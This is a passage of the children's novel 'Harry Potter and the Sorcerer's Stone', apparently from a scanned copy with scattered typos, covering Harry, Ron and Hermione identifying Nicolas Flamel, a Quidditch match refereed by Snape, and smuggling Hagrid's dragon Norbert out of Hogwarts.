possible. + +"The Mirror will be moved to a new home tomorrow, Harry, and I ask you +not to go looking for it again. If you ever do run across it, you will +now be prepared. It does not do to dwell on dreams and forget to live, +remember that. Now, why don't you put that admirable cloak back on and +get off to bed?" + +Harry stood up. + +"Sir -- Professor Dumbledore? Can I ask you something?" + +"Obviously, you've just done so," Dumbledore smiled. "You may ask me one +more thing, however." + +"What do you see when you look in the mirror?" + +"I? I see myself holding a pair of thick, woolen socks." + +Harry stared. + +"One can never have enough socks," said Dumbledore. "Another Christmas +has come and gone and I didn't get a single pair. People will insist on +giving me books." + +It was only when he was back in bed that it struck Harry that Dumbledore +might not have been quite truthful. But then, he thought, as he shoved +Scabbers off his pillow, it had been quite a personal question. + + +CHAPTER THIRTEEN + +NICOLAS FLAMEL + +Dumbledore had convinced Harry not to go looking for the Mirror of +Erised again, and for the rest of the Christmas holidays the +invisibility cloak stayed folded at the bottom of his trunk. Harry +wished he could forget what he'd seen in the mirror as easily, but he +couldn't. He started having nightmares. Over and over again he dreamed +about his parents disappearing in a flash of green light, while a high +voice cackled with laughter. + +"You see, Dumbledore was right, that mirror could drive you mad," said +Ron, when Harry told him about these drearns. + +Hermione, who came back the day before term started, took a different +view of things. She was torn between horror at the idea of Harry being +out of bed, roaming the school three nights in a row ("If Filch had +caught you!"), and disappointment that he hadn't at least found out who +Nicolas Flamel was. + +They had almost given up hope of ever finding Flamel in a li- brary +book, even though Harry was still sure he'd read the name somewhere. +Once term had started, they were back to skimming through books for ten +minutes during their breaks. Harry had even less time than the other +two, because Quidditch practice had started again. + +Wood was working the team harder than ever. Even the endless rain that +had replaced the snow couldn't dampen his spirits. The Weasleys +complained that Wood was becoming a fanatic, but Harry was on Wood's +side. If they won their next match, against Hufflepuff, they would +overtake Slytherin in the house championship for the first time in seven +years. Quite apart from wanting to win, Harry found that he had fewer +nightmares when he was tired out after training. + +Then, during one particularly wet and muddy practice session, Wood gave +the team a bit of bad news. He'd just gotten very angry with the +Weasleys, who kept dive-bombing each other and pretending to fall off +their brooms. + +"Will you stop messing around!" he yelled. "That's exactly the sort of +thing that'll lose us the match! Snape's refereeing this time, and he'll +be looking for any excuse to knock points off Gryffindor!" + +George Weasley really did fall off his broom at these words. + +"Snape's refereeing?" he spluttered through a mouthful of mud. "When's +he ever refereed a Quidditch match? He's not going to be fair if we +might overtake Slytherin." + +The rest of the team landed next to George to complain, too. + +"It's not my fault," said Wood. "We've just got to make sure we play a +clean game, so Snape hasn't got an excuse to pick on us." + +Which was all very well, thought Harry, but he had another reason for +not wanting Snape near him while he was playing Quidditch.... + +The rest of the team hung back to talk to one another as usual at the +end of practice, but Harry headed straight back to the Gryffindor common +room, where he found Ron and Hermione playing chess. Chess was the only +thing Hermione ever lost at, something Harry and Ron thought was very +good for her. + +"Don't talk to me for a moment," said Ron when Harry sat down next to +him, "I need to concen --" He caught sight of Harry's face. "What's the +matter with you? You look terrible." + +Speaking quietly so that no one else would hear, Harry told the other +two about Snape's sudden, sinister desire to be a Quidditch referee. + +"Don't play," said Hermione at once. + +"Say you're ill," said Ron. + +"Pretend to break your leg," Hermione suggested. + +"Really break your leg," said Ron. + +"I can't," said Harry. "There isn't a reserve Seeker. If I back out, +Gryffindor can't play at all." + +At that moment Neville toppled into the common room. How he had managed +to climb through the portrait hole was anyone's guess, because his legs +had been stuck together with what they recognized at once as the +Leg-Locker Curse. He must have had to bunny hop all the way up to +Gryffindor tower. + +Everyone fell over laughing except Hermione, who leapt up and performed +the countercurse. Neville's legs sprang apart and he got to his feet, +trembling. "What happened?" Hermione asked him, leading him over to sit +with Harry and Ron. + +"Malfoy," said Neville shakily. "I met him outside the library. He said +he'd been looking for someone to practice that on." + +"Go to Professor McGonagall!" Hermione urged Neville. "Report him!" + +Neville shook his head. + +"I don't want more trouble," he mumbled. + +"You've got to stand up to him, Neville!" said Ron. "He's used to +walking all over people, but that's no reason to lie down in front of +him and make it easier." + +"There's no need to tell me I'm not brave enough to be in Gryffindor, +Malfoy's already done that," Neville choked out. + +Harry felt in the pocket of his robes and pulled out a Chocolate Frog, +the very last one from the box Hermione had given him for Christmas. He +gave it to Neville, who looked as though he might cry. + +"You're worth twelve of Malfoy," Harry said. "The Sorting Hat chose you +for Gryffindor, didn't it? And where's Malfoy? In stinking Slytherin." + +Neville's lips twitched in a weak smile as he unwrapped the frog. + +"Thanks, Harry... I think I'll go to bed.... D'you want the card, you +collect them, don't you?" + +As Neville walked away, Harry looked at the Famous Wizard card. + +"Dumbledore again," he said, "He was the first one I ever-" + +He gasped. He stared at the back of the card. Then he looked up at Ron +and Hermione. + +"I've found him!" he whispered. "I've found Flamel! I told you I'd read +the name somewhere before, I read it on the train coming here -- listen +to this: 'Dumbledore is particularly famous for his defeat of the dark +wizard Grindelwald in 1945, for the discovery of the twelve uses of +dragon's blood, and his work on alchemy with his partner, Nicolas +Flamel'!" + +Hermione jumped to her feet. She hadn't looked so excited since they'd +gotten back the marks for their very first piece of homework. + +"Stay there!" she said, and she sprinted up the stairs to the girls' +dormitories. Harry and Ron barely had time to exchange mystified looks +before she was dashing back, an enormous old book in her arms. + +"I never thought to look in here!" she whispered excitedly. "I got this +out of the library weeks ago for a bit of light reading." + +"Light?" said Ron, but Hermione told him to be quiet until she'd looked +something up, and started flicking frantically through the pages, +muttering to herself. + +At last she found what she was looking for. + +"I knew it! I knew it!" + +"Are we allowed to speak yet?" said Ron grumpily. Hermione ignored him. + +"Nicolas Flamel," she whispered dramatically, "is the only known maker +of the Sorcerer's Stone!" + +This didn't have quite the effect she'd expected. + +"The what?" said Harry and Ron. + +"Oh, honestly, don't you two read? Look -- read that, there." + +She pushed the book toward them, and Harry and Ron read: The ancient +study of alchemy is concerned with making the Sorcerer's Stone, a +legendary substance with astonishing powers. The stone will transform +any metal into pure gold. It also produces the Elixir of Life, which +will make the drinker immortal. + +There have been many reports of the Sorcerer's Stone over the centuries, +but the only Stone currently in existence belongs to Mr. Nicolas Flamel, +the noted alchemist and opera lover. Mr. Flamel, who celebrated his six +hundred and sixty-fifth birthday last year, enjoys a quiet life in Devon +with his wife, Perenelle (six hundred and fifty-eight). + +"See?" said Hermione, when Harry and Ron had finished. "The dog must be +guarding Flamel's Sorcerer's Stone! I bet he asked Dumbledore to keep it +safe for him, because they're friends and he knew someone was after it, +that's why he wanted the Stone moved out of Gringotts!" + +"A stone that makes gold and stops you from ever dying!" said Harry. "No +wonder Snape's after it! Anyone would want it." + +"And no wonder we couldn't find Flamel in that Study of Recent +Developments in Wizardry," said Ron. "He's not exactly recent if he's +six hundred and sixty-five, is he?" + +The next morning in Defense Against the Dark Arts, while copying down +different ways of treating werewolf bites, Harry and Ron were still +discussing what they'd do with a Sorcerer's Stone if they had one. It +wasn't until Ron said he'd buy his own Quidditch team that Harry +remembered about Snape and the coming match. + +"I'm going to play," he told Ron and Hermione. "If I don't, all the +Slytherins will think I'm just too scared to face Snape. I'll show +them... it'll really wipe the smiles off their faces if we win." + +"Just as long as we're not wiping you off the field," said Hermione. + +As the match drew nearer, however, Harry became more and more nervous, +whatever he told Ron and Hermione. The rest of the team wasn't too calm, +either. The idea of overtaking Slytherin in the house championship was +wonderful, no one had done it for seven years, but would they be allowed +to, with such a biased referee? + +Harry didn't know whether he was imagining it or not, but he seemed to +keep running into Snape wherever he went. At times, he even wondered +whether Snape was following him, trying to catch him on his own. Potions +lessons were turning into a sort of weekly torture, Snape was so +horrible to Harry. Could Snape possibly know they'd found out about the +Sorcerer's Stone? Harry didn't see how he could -- yet he sometimes had +the horrible feeling that Snape could read minds. + +Harry knew, when they wished him good luck outside the locker rooms the +next afternoon, that Ron and Hermione were wondering whether they'd ever +see him alive again. This wasn't what you'd call comforting. Harry +hardly heard a word of Wood's pep talk as he pulled on his Quidditch +robes and picked up his Nimbus Two Thousand. + +Ron and Hermione, meanwhile, had found a place in the stands next to +Neville, who couldn't understand why they looked so grim and worried, or +why they had both brought their wands to the match. Little did Harry +know that Ron and Hermione had been secretly practicing the Leg-Locker +Curse. They'd gotten the idea from Malfoy using it on Neville, and were +ready to use it on Snape if he showed any sign of wanting to hurt Harry. + +"Now, don't forget, it's Locomotor Mortis," Hermione muttered as Ron +slipped his wand up his sleeve. + +"I know," Ron snapped. "Don't nag." + +Back in the locker room, Wood had taken Harry aside. + +"Don't want to pressure you, Potter, but if we ever need an early +capture of the Snitch it's now. Finish the game before Snape can favor +Hufflepuff too much." + +"The whole school's out there!" said Fred Weasley, peering out of the +door. "Even -- blimey -- Dumbledore's come to watch!" + +Harry's heart did a somersault. + +"Dumbledore?" he said, dashing to the door to make sure. Fred was right. +There was no mistaking that silver beard. + +Harry could have laughed out loud with relief He was safe. There was +simply no way that Snape would dare to try to hurt him if Dumbledore was +watching. + +Perhaps that was why Snape was looking so angry as the teams marched +onto the field, something that Ron noticed, too. + +"I've never seen Snape look so mean," he told Hermione. "Look -they're +off Ouch!" + +Someone had poked Ron in the back of the head. It was Malfoy. + +"Oh, sorry, Weasley, didn't see you there." + +Malfoy grinned broadly at Crabbe and Goyle. + +"Wonder how long Potter's going to stay on his broom this time? Anyone +want a bet? What about you, Weasley?" + +Ron didn't answer; Snape had just awarded Hufflepuff a penalty because +George Weasley had hit a Bludger at him. Hermione, who had all her +fingers crossed in her lap, was squinting fixedly at Harry, who was +circling the game like a hawk, looking for the Snitch. + +"You know how I think they choose people for the Gryffindor team?" said +Malfoy loudly a few minutes later, as Snape awarded Hufflepuff another +penalty for no reason at all. "It's people they feel sorry for. See, +there's Potter, who's got no parents, then there's the Weasleys, who've +got no money -- you should be on the team, Longbottom, you've got no +brains." + +Neville went bright red but turned in his seat to face Malfoy. + +"I'm worth twelve of you, Malfoy," he stammered. + +Malfoy, Crabbe, and Goyle howled with laughter, but Ron, still not +daring to take his eyes from the game, said, "You tell him, Neville." + +"Longbottom, if brains were gold you'd be poorer than Weasley, and +that's saying something." + +Ron's nerves were already stretched to the breaking point with anxiety +about Harry. + +"I'm warning you, Malfoy -- one more word + +"Ron!" said Hermione suddenly, "Harry --" + +"What? Where?" + +Harry had suddenly gone into a spectacular dive, which drew gasps and +cheers from the crowd. Hermione stood up, her crossed fingers in her +mouth, as Harry streaked toward the ground like a bullet. + +"You're in luck, Weasley, Potter's obviously spotted some money on the +ground!" said Malfoy. + +Ron snapped. Before Malfoy knew what was happening, Ron was on top of +him, wrestling him to the ground. Neville hesitated, then clambered over +the back of his seat to help. + +"Come on, Harry!" Hermione screamed, leaping onto her seat to watch as +Harry sped straight at Snape -- she didn't even notice Malfoy and Ron +rolling around under her seat, or the scuffles and yelps coming from the +whirl of fists that was Neville, Crabbe, and Goyle. + +Up in the air, Snape turned on his broomstick just in time to see +something scarlet shoot past him, missing him by inches -- the next +second, Harry had pulled out of the dive, his arm raised in triumph, the +Snitch clasped in his hand. + +The stands erupted; it had to be a record, no one could ever remember +the Snitch being caught so quickly. + +"Ron! Ron! Where are you? The game's over! Harry's won! We've won! +Gryffindor is in the lead!" shrieked Hermione, dancing up and down on +her seat and hugging Parvati Patil in the row in front. + +Harry jumped off his broom, a foot from the ground. He couldn't believe +it. He'd done it -- the game was over; it had barely lasted five +minutes. As Gryffindors came spilling onto the field, he saw Snape land +nearby, white-faced and tight-lipped -- then Harry felt a hand on his +shoulder and looked up into Dumbledore's smiling face. + +"Well done," said Dumbledore quietly, so that only Harry could hear. +"Nice to see you haven't been brooding about that mirror... been keeping +busy... excellent..." + +Snape spat bitterly on the ground. + +Harry left the locker room alone some time later, to take his Nimbus Two +Thousand back to the broomshed. He couldn't ever remember feeling +happier. He'd really done something to be proud of now -- no one could +say he was just a famous name any more. The evening air had never +smelled so sweet. He walked over the damp grass, reliving the last hour +in his head, which was a happy blur: Gryffindors running to lift him +onto their shoulders; Ron and Hermione in the distance, jumping up and +down, Ron cheering through a heavy nosebleed. + +Harry had reached the shed. He leaned against the wooden door and looked +up at Hogwarts, with its windows glowing red in the setting sun. +Gryffindor in the lead. He'd done it, he'd shown Snape.... + +And speaking of Snape... + +A hooded figure came swiftly down the front steps of the castle. Clearly +not wanting to be seen, it walked as fast as possible toward the +forbidden forest. Harry's victory faded from his mind as he watched. He +recognized the figure's prowling walk. Snape, sneaking into the forest +while everyone else was at dinner -- what was going on? + +Harry jumped back on his Nimbus Two Thousand and took off. Gliding +silently over the castle he saw Snape enter the forest at a run. He +followed. + +The trees were so thick he couldn't see where Snape had gone. He flew in +circles, lower and lower, brushing the top branches of trees until he +heard voices. He glided toward them and landed noiselessly in a towering +beech tree. + +He climbed carefully along one of the branches, holding tight to his +broomstick, trying to see through the leaves. Below, in a shadowy +clearing, stood Snape, but he wasn't alone. Quirrell was there, too. +Harry couldn't make out the look on his face, but he was stuttering +worse than ever. Harry strained to catch what they were saying. + +"... d-don't know why you wanted t-t-to meet here of all p-places, +Severus..." + +"Oh, I thought we'd keep this private," said Snape, his voice icy. +"Students aren't supposed to know about the Sorcerer's Stone, after +all." + +Harry leaned forward. Quirrell was mumbling something. Snape interrupted +him. + +"Have you found out how to get past that beast of Hagrid's yet?" + +"B-b-but Severus, I --" + +"You don't want me as your enemy, Quirrell," said Snape, taking a step +toward him. + +"I-I don't know what you + +"You know perfectly well what I mean." + +An owl hooted loudly, and Harry nearly fell out of the tree. He steadied +himself in time to hear Snape say, "-- your little bit of hocus-pocus. +I'm waiting." + +"B-but I d-d-don't --" + +"Very well," Snape cut in. "We'll have another little chat soon, when +you've had time to think things over and decided where your loyalties +lie." + +He threw his cloak over his head and strode out of the clearing. It was +almost dark now, but Harry could see Quirrell, standing quite still as +though he was petrified. + +"Harry, where have you been?" Hermione squeaked. + +"We won! You won! We won!" shouted Ron, thumping Harry on the back. "And +I gave Malfoy a black eye, and Neville tried to take on Crabbe and Goyle +single-handed! He's still out cold but Madam Pomftey says he'll be all +right - talk about showing Slytherin! Everyone's waiting for you in the +common room, we're having a party, Fred and George stole some cakes and +stuff from the kitchens." + +"Never mind that now," said Harry breathlessly. "Let's find an empty +room, you wait 'til you hear this...." + +He made sure Peeves wasn't inside before shutting the door behind them, +then he told them what he'd seen and heard. + +"So we were right, it is the Sorcerer's Stone, and Snape's trying to +force Quirrell to help him get it. He asked if he knew how to get past +Fluffy - and he said something about Quirrell's 'hocus pocuss-- I reckon +there are other things guarding the stone apart from Fluffy, loads of +enchantments, probably, and Quirrell would have done some anti-Dark Arts +spell that Snape needs to break through --" + +"So you mean the Stone's only safe as long as Quirrell stands up to +Snape?" said Hermione in alarm. + +"It'll be gone by next Tuesday," said Ron. + + +CHAPTER FOURTEEN + +NORBERT THE NORWEGIAN RIDGEBACK + +Quirrell, however, must have been braver than they'd thought. In the +weeks that followed he did seem to be getting paler and thinner, but it +didn't look as though he'd cracked yet. + +Every time they passed the third-floor corridor, Harry, Ron, and +Hermione would press their ears to the door to check that Fluffy was +still growling inside. Snape was sweeping about in his usual bad temper, +which surely meant that the Stone was still safe. Whenever Harry passed +Quirrell these days he gave him an encouraging sort of smile, and Ron +had started telling people off for laughing at Quirrell's stutter. + +Hermione, however, had more on her mind than the Sorcerer's Stone. She +had started drawing up study schedules and colorcoding all her notes. +Harry and Ron wouldn't have minded, but she kept nagging them to do the +same. + +"Hermione, the exams are ages away." + +"Ten weeks," Hermione snapped. "That's not ages, that's like a second to +Nicolas Flamel." + +"But we're not six hundred years old," Ron reminded her. "Anyway, what +are you studying for, you already know it A." + +"What am I studying for? Are you crazy? You realize we need to pass +these exams to get into the second year? They're very important, I +should have started studying a month ago, I don't know what's gotten +into me...." + +Unfortunately, the teachers seemed to be thinking along the same lines +as Hermione. They piled so much homework on them that the Easter +holidays weren't nearly as much fun as the Christmas ones. It was hard +to relax with Hermione next to you reciting the twelve uses of dragon's +blood or practicing wand movements. Moaning and yawning, Harry and Ron +spent most of their free time in the library with her, trying to get +through all their extra work. + +"I'll never remember this," Ron burst out one afternoon, throwing down +his quill and looking longingly out of the library window. It was the +first really fine day they'd had in months. The sky was a clear, +forget-me-not blue, and there was a feeling in the air of summer coming. + +Harry, who was looking up "Dittany" in One Thousand Magical Herbs and +Fungi, didn't look up until he heard Ron say, "Hagrid! What are you +doing in the library?" + +Hagrid shuffled into view, hiding something behind his back. He looked +very out of place in his moleskin overcoat. + +"Jus' lookin'," he said, in a shifty voice that got their interest at +once. "An' what're you lot up ter?" He looked suddenly suspicious. "Yer +not still lookin' fer Nicolas Flamel, are yeh?" "Oh, we found out who he +is ages ago," said Ron impressively. "And we know what that dog's +guarding, it's a Sorcerer's St --" + +"Shhhh!" Hagrid looked around quickly to see if anyone was listening. +"Don' go shoutin' about it, what's the matter with yeh?" + +"There are a few things we wanted to ask you, as a matter of fact," said +Harry, "about what's guarding the Stone apart from Fluffy --" + +"SHHHH!" said Hagrid again. "Listen - come an' see me later, I'm not +promisin' I'll tell yeh anythin', mind, but don' go rabbitin' about it +in here, students aren' s'pposed ter know. They'll think I've told yeh +--" + +"See you later, then," said Harry. + +Hagrid shuffled off. + +"What was he hiding behind his back?" said Hermione thoughtfully. + +"Do you think it had anything to do with the Stone?" + +"I'm going to see what section he was in," said Ron, who'd had enough of +working. He came back a minute later with a pile of books in his arms +and slammed them down on the table. + +"Dragons!" he whispered. "Hagrid was looking up stuff about dragons! +Look at these: Dragon Species of Great Britain and Ireland; From Egg to +Inferno, A Dragon Keeper's Guide." + +"Hagrid's always wanted a dragon, he told me so the first time I ever +met him, " said Harry. + +"But it's against our laws," said Ron. "Dragon breeding was outlawed by +the Warlocks' Convention of 1709, everyone knows that. It's hard to stop +Muggles from noticing us if we're keeping dragons in the back garden - +anyway, you can't tame dragons, it's dangerous. You should see the burns +Charlie's got off wild ones in Romania." + +"But there aren't wild dragons in Britain?" said Harry. + +"Of course there are," said Ron. "Common Welsh Green and Hebridean +Blacks. The Ministry of Magic has a job hushing them up, I can tell you. +Our kind have to keep putting spells on Muggles who've spotted them, to +make them forget." + +"So what on earths Hagrid up to?" said Hermione. + +When they knocked on the door of the gamekeeper's hut an hour later, +they were surprised to see that all the curtains were closed. Hagrid +called "Who is it?" before he let them in, and then shut the door +quickly behind them. + +It was stifling hot inside. Even though it was such a warm day, there +was a blazing fire in the grate. Hagrid made them tea and offered them +stoat sandwiches, which they refused. + +"So -- yeh wanted to ask me somethin'?" + +"Yes," said Harry. There was no point beating around the bush. "We were +wondering if you could tell us what's guarding the Sorcerer's Stone +apart from Fluffy." + +Hagrid frowned at him. + +"0' course I cant, he said. "Number one, I don' know meself. Number two, +yeh know too much already, so I wouldn' tell yeh if I could. That +Stone's here fer a good reason. It Was almost stolen outta Gringotts - I +s'ppose yeh've worked that out an' all? Beats me how yeh even know abou' +Fluffy." + +"Oh, come on, Hagrid, you might not want to tell us, but you do know, +you know everything that goes on round here," said Hermione in a warm, +flattering voice. Hagrid's beard twitched and they could tell he was +smiling. "We only wondered who had done the guarding, really." Hermione +went on. "We wondered who Dumbledore had trusted enough to help him, +apart from you." + +Hagrid's chest swelled at these last words. Harry and Ron beamed at +Hermione. + +"Well, I don' s'pose it could hurt ter tell yeh that... let's see... he +borrowed Fluffy from me... then some o' the teachers did enchantments... +Professor Sprout -- Professor Flitwick -- Professor McGonagall --" he +ticked them off on his fingers, "Professor Quirrell -- an' Dumbledore +himself did somethin', o' course. Hang on, I've forgotten someone. Oh +yeah, Professor Snape." + +"Snape?" + +"Yeah -- yer not still on abou' that, are yeh? Look, Snape helped +protect the Stone, he's not about ter steal it." + +Harry knew Ron and Hermione were thinking the same as he was. If Snape +had been in on protecting the Stone, it must have been easy to find out +how the other teachers had guarded it. He probably knew everything -- +except, it seemed, Quirrell's spell and how to get past Fluffy. + +"You're the only one who knows how to get past Fluffy. aren't you, +Hagrid?" said Harry anxiously. "And you wouldn't tell anyone, would you? +Not even one of the teachers?" + +"Not a soul knows except me an' Dumbledore," said Hagrid proudly. + +"Well, that's something," Harry muttered to the others. "Hagrid, can we +have a window open? I'm boiling." + +"Can't, Harry, sorry," said Hagrid. Harry noticed him glance at the +fire. Harry looked at it, too. + +"Hagrid -- what's that?" + +But he already knew what it was. In the very heart of the fire, +underneath the kettle, was a huge, black egg. + +"Ah," said Hagrid, fiddling nervously with his beard, "That's er..." + +"Where did you get it, Hagrid?" said Ron, crouching over the fire to get +a closer look at the egg. "It must've cost you a fortune." + +"Won it," said Hagrid. "Las' night. I was down in the village havin' a +few drinks an' got into a game o' cards with a stranger. Think he was +quite glad ter get rid of it, ter be honest." + +"But what are you going to do with it when it's hatched?" said Hermione. + +"Well, I've bin doin' some readin' , said Hagrid, pulling a large book +from under his pillow. "Got this outta the library -- Dragon Breeding +for Pleasure and Profit -- it's a bit outta date, o' course, but it's +all in here. Keep the egg in the fire, 'cause their mothers breathe on I +em, see, an' when it hatches, feed it on a bucket o' brandy mixed with +chicken blood every half hour. An' see here -- how ter recognize +diff'rent eggs -- what I got there's a Norwegian Ridgeback. They're +rare, them." + +He looked very pleased with himself, but Hermione didn't. + +"Hagrid, you live in a wooden house," she said. + +But Hagrid wasn't listening. He was humming merrily as he stoked the +fire. + +So now they had something else to worry about: what might happen to +Hagrid if anyone found out he was hiding an illegal dragon in his hut. +"Wonder what it's like to have a peaceful life," Ron sighed, as evening +after evening they struggled through all the extra homework they were +getting. Hermione had now started making study schedules for Harry and +Ron, too. It was driving them nuts. + +Then, one breakfast time, Hedwig brought Harry another note from Hagrid. +He had written only two words: It's hatching. + +Ron wanted to skip Herbology and go straight down to the hut. Hermione +wouldn't hear of it. + +"Hermione, how many times in our lives are we going to see a dragon +hatching?" + +"We've got lessons, we'll get into trouble, and that's nothing to what +Hagrid's going to be in when someone finds out what he's doing --" + +"Shut up!" Harry whispered. + +Malfoy was only a few feet away and he had stopped dead to listen. How +much had he heard? Harry didn't like the look on Malfoy's face at all. + +Ron and Hermione argued all the way to Herbology and in the end, +Hermione agreed to run down to Hagrid's with the other two during +morning break. When the bell sounded from the castle at the end of their +lesson, the three of them dropped their trowels at once and hurried +through the grounds to the edge of the forest. Hagrid greeted them, +looking flushed and excited. + +"It's nearly out." He ushered them inside. + +The egg was lying on the table. There were deep cracks in it. Something +was moving inside; a funny clicking noise was coming from it. + +They all drew their chairs up to the table and watched with bated +breath. + +All at once there was a scraping noise and the egg split open. The baby +dragon flopped onto the table. It wasn't exactly pretty; Harry thought +it looked like a crumpled, black umbrella. Its spiny wings were huge +compared to its skinny jet body, it had a long snout with wide nostrils, +the stubs of horns and bulging, orange eyes. + +It sneezed. A couple of sparks flew out of its snout. + +"Isn't he beautiful?" Hagrid murmured. He reached out a hand to stroke +the dragon's head. It snapped at his fingers, showing pointed fangs. + +"Bless him, look, he knows his mommy!" said Hagrid. + +"Hagrid," said Hermione, "how fast do Norwegian Ridgebacks grow, +exactly?" + +Hagrid was about to answer when the color suddenly drained from his face +-- he leapt to his feet and ran to the window. + +"What's the matter?" + +"Someone was lookin' through the gap in the curtains -- it's a kid -- +he's runnin' back up ter the school." + +Harry bolted to the door and looked out. Even at a distance there was no +mistaking him. + +Malfoy had seen the dragon. + +Something about the smile lurking on Malfoy's face during the next week +made Harry, Ron, and Hermione very nervous. They spent most of their +free time in Hagrid's darkened hut, trying to reason with him. + +"Just let him go," Harry urged. "Set him free." + +"I can't," said Hagrid. "He's too little. He'd die." + +They looked at the dragon. It had grown three times in length in just a +week. Smoke kept furling out of its nostrils. Hagrid hadn't been doing +his gamekeeping duties because the dragon was keeping him so busy. There +were empty brandy bottles and chicken feathers all over the floor. + +"I've decided to call him Norbert," said Hagrid, looking at the dragon +with misty eyes. "He really knows me now, watch. Norbert! Norbert! +Where's Mommy?" + +"He's lost his marbles," Ron muttered in Harry's ear. + +"Hagrid," said Harry loudly, "give it two weeks and Norbert's going to +be as long as your house. Malfoy could go to Dumbledore at any moment." + +Hagrid bit his lip. + +"I -- I know I can't keep him forever, but I can't jus' dump him, I +can't." + +Harry suddenly turned to Ron. Charlie, he said. + +"You're losing it, too," said Ron. "I'm Ron, remember?" + +"No -- Charlie -- your brother, Charlie. In Romania. Studying dragons. +We could send Norbert to him. Charlie can take care of him and then put +him back in the wild!" + +"Brilliant!" said Ron. "How about it, Hagrid?" + +And in the end, Hagrid agreed that they could send -an owl to Charlie to +ask him. + +The following week dragged by. Wednesday night found Hermione and Harry +sitting alone in the common room, long after everyone else had gone to +bed. The clock on the wall had just + +chimed midnight when the portrait hole burst open. Ron appeared out of +nowhere as he pulled off Harry's invisibility cloak. He had been down at +Hagrid's hut, helping him feed Norbert, who was now eating dead rats by +the crate. + +"It bit me!" he said, showing them his hand, which was wrapped in a +bloody handkerchief. "I'm not going to be able to hold a quill for a +week. I tell you, that dragon's the most horrible animal I've ever met, +but the way Hagrid goes on about it, you'd think it was a fluffy little +bunny rabbit. When it bit me he told me off for frightening it. And when +I left, he was singing it a lullaby." + +There was a tap on the dark window. + +"It's Hedwig!" said Harry, hurrying to let her in. "She'll have +Charlie's answer!" + +The three of them put their heads together to read the note. + +Dear Ron, + +How are you? Thanks for the letter -- I'd be glad to take the Norwegian +Ridgeback, but it won't be easy getting him here. I think the best thing +will be to send him over with some friends of mine who are coming to +visit me next week. Trouble is, they mustn't be seen carrying an illegal +dragon. + +Could you get the Ridgeback up the tallest tower at midnight on +Saturday? They can meet you there and take him away while it's still +dark. + +Send me an answer as soon as possible. + +Love, + +Charlie + +They looked at one another. + +"We've got the invisibility cloak," said Harry. "It shouldn't be too +difficult -- I think the cloaks big enough to cover two of us and +Norbert." + +It was a mark of how bad the last week had been that the other two +agreed with him. Anything to get rid of Norbert -- and Malfoy. + +There was a hitch. By the next morning, Ron's bitten hand had swollen to +twice its usual size. He didn't know whether it was safe to go to Madam +Pomfrey -- would she recognize a dragon bite? By the afternoon, though, +he had no choice. The cut had turned a nasty shade of green. It looked +as if Norbert's fangs were poisonous. + +Harry and Hermione rushed up to the hospital wing at the end of the day +to find Ron in a terrible state in bed. + +"It's not just my hand," he whispered, "although that feels like it's +about to fall off. Malfoy told Madam Pomfrey he wanted to borrow one of +my books so he could come and have a good laugh at me. He kept +threatening to tell her what really bit me -- I've told her it was a +dog, but I don't think she believes me -I shouldn't have hit him at the +Quidditch match, that's why he's doing this." + +Harry and Hermione tried to calm Ron down. + +"It'll all be over at midnight on Saturday," said Hermione, but this +didn't soothe Ron at all. On the contrary, he sat bolt upright and broke +into a sweat. + +"Midnight on Saturday!" he said in a hoarse voice. "Oh no oh no -- I've +just remembered -- Charlie's letter was in that book Malfoy took, he's +going to know we're getting rid of Norbert." + +Harry and Hermione didn't get a chance to answer. Madam Pomfrey came +over at that moment and made them leave, saying Ron needed sleep. + +"It's too late to change the plan now," Harry told Hermione. "We haven't +got time to send Charlie another owl, and this could be our only chance +to get rid of Norbert. We'll have to risk it. And we have got the +invisibility cloak, Malfoy doesn't know about that." + +They found Fang, the boarhound, sitting outside with a bandaged tail +when they went to tell Hagrid, who opened a window to talk to them. + +"I won't let you in," he puffed. "Norbert's at a tricky stage -- nothin' +I can't handle." + +When they told him about Charlie's letter, his eyes filled with tears, +although that might have been because Norbert had just bitten him on the +leg. + +"Aargh! It's all right, he only got my boot -- jus' playin' -- he's only +a baby, after all." + +The baby banged its tail on the wall, making the windows rattle. Harry +and Hermione walked back to the castle feeling Saturday couldn't come +quickly enough. + +They would have felt sorry for Hagrid when the time came for him to say +good-bye to Norbert if they hadn't been so worried about what they had +to do. It was a very dark, cloudy night, and they were a bit late +arriving at Hagrid's hut because they'd had to wait for Peeves to get +out of their way in the entrance hall, where he'd been playing tennis +against the wall. Hagrid had Norbert packed and ready in a large crate. + +"He's got lots o' rats an' some brandy fer the journey," said Hagrid in +a muffled voice. "An' I've packed his teddy bear in case he gets +lonely." + +From inside the crate came ripping noises that sounded to Harry as +though the teddy was having his head torn off. + +"Bye-bye, Norbert!" Hagrid sobbed, as Harry and Hermione covered the +crate with the invisibility cloak and stepped underneath it themselves. +"Mommy will never forget you!" + +How they managed to get the crate back up to the castle, they never +knew. Midnight ticked nearer as they heaved Norbert up the marble +staircase in the entrance hall and along the dark corridors. UP another +staircase, then another -- even one of Harry's shortcuts didn't make the +work much easier. + +"Nearly there!" Harry panted as they reached the corridor beneath the +tallest tower. + +Then a sudden movement ahead of them made them almost drop the crate. +Forgetting that they were already invisible, they shrank into the +shadows, staring at the dark outlines of two people grappling with each +other ten feet away. A lamp flared. + +Professor McGonagall, in a tartan bathrobe and a hair net, had Malfoy by +the ear. + +"Detention!" she shouted. "And twenty points from Slytherin! Wandering +around in the middle of the night, how dare you --" + +"You don't understand, Professor. Harry Potter's coming -- he's got a +dragon!" + +"What utter rubbish! How dare you tell such lies! Come on -- I shall see +Professor Snape about you, Malfoy!" + +The steep spiral staircase up to the top of the tower seemed the easiest +thing in the world after that. Not until they'd stepped out into the +cold night air did they throw off the cloak, glad to be able to breathe +properly again. Hermione did a sort of jig. + +"Malfoy's got detention! I could sing!" + +"Don't," Harry advised her. + +Chuckling about Malfoy, they waited, Norbert thrashing about in his +crate. About ten minutes later, four broomsticks came swooping down out +of the darkness. + +Charlie's friends were a cheery lot. They showed Harry and Hermione the +harness they'd rigged up, so they could suspend Norbert between them. +They all helped buckle Norbert safely into it and then Harry and +Hermione shook hands with the others and thanked them very much. + +At last, Norbert was going... going... gone. + +They slipped back down the spiral staircase, their hearts as light as +their hands, now that Norbert was off them. No more dragon -- Malfoy in +detention -- what could spoil their happiness? + +The answer to that was waiting at the foot of the stairs. As they +stepped into the corridor, Filch's face loomed suddenly out of the +darkness. + +"Well, well, well," he whispered, "we are in trouble." + +They'd left the invisibility cloak on top of the tower. + + +CHAPTER FIFTEEN + +THE FORIBIDDEN FOREST + +Things couldn't have been worse. + +Filch took them down to Professor McGonagall's study on the first floor, +where they sat and waited without saying a word to each other. Hermione +was trembling. Excuses, 